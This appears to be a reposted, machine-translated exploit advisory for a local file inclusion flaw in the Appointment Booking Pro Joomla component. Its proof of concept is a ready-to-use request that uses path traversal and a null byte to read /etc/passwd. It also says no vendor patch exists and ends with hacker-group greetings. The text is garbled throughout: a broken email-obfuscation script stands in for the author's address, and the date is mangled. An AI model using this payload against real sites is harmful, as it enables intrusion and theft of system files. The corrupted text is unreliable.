Appointment Booking Pro Joomla Component LFI defect and repair

Author: Don Tukulesto (root@indonesiancoder.com <script type = "text/javascript">
/* <! [CDATA [*/
(Function () {try {var s, a, I, j, r, c, l = document. getElementById ("_ cf_email _"); a = l. className; if (a) {s = ''; r = parseInt (. substr (0, 2), 16); for (j = 2;. length-j; j + = 2) {c = parseInt (. substr (j, 2), 16) ^ r; s + = String. fromCharCode (c);} s = document. createTextNode (s); l. parentNode. replaceChild (s, l) ;}} catch (e ){}})();
/*]> */
</Script>)
Homepage: http://indonesiancoder.com
Published: July 17,201 1
Tested On: OS X 10.5.8
======================================
 
 
======================================
| Software Info | www.2cto.com
======================================
[>] Vendor: A http://www.appointmentbookingpro.com/
[>] Software: Appointment Booking Pro-ABPro
Appointment Booking Pro is an appointment booking or scheduling, web site component.
[>] Cost: $59
 
I. Proof of Concept
======================================
Index. php? Option = com_rsappt_pro2 & view =.../etc/passwd % 0000
 
III. Vendor patch
======================================
Currently manufacturers do not provide patches or upgrades.
 
 
======================================
 
[>] Indonesian coder ~ Server is Down ~ Malang Cyber Crew ~ Magelang Cyber ~ AntiSecurity ~ Exploit-ID
[>] M364TR0N ~ Gonzhack ~ Ibl13Z ~ KaMtiEz ~ K4L0ng666 ~ VYc0D ~ Xr0b0t ~ N4ck0 ~ R3m1ck ~ Kidd ~ Jundab
[>] Yur4kh4 ~ AN93l1c ~ Arianom ~ Pathloader ~ Contrex ~ Mboys ~ N4KuLa _~ M4ho666 ~ Jos_ali_joe ~ Mengau
[>] Kecemplungkalen ~ YaDoY666 ~ Jack -~ Xshadow ~ S4va ~ NoGe ~ Kido ~ T3ll0 ~ Cimpli ~ Xadal ~ Cyb3r_Tr0n
 
We are the watchmen, the hackers who quietly observe the scene.
Bit. ly/OpIDC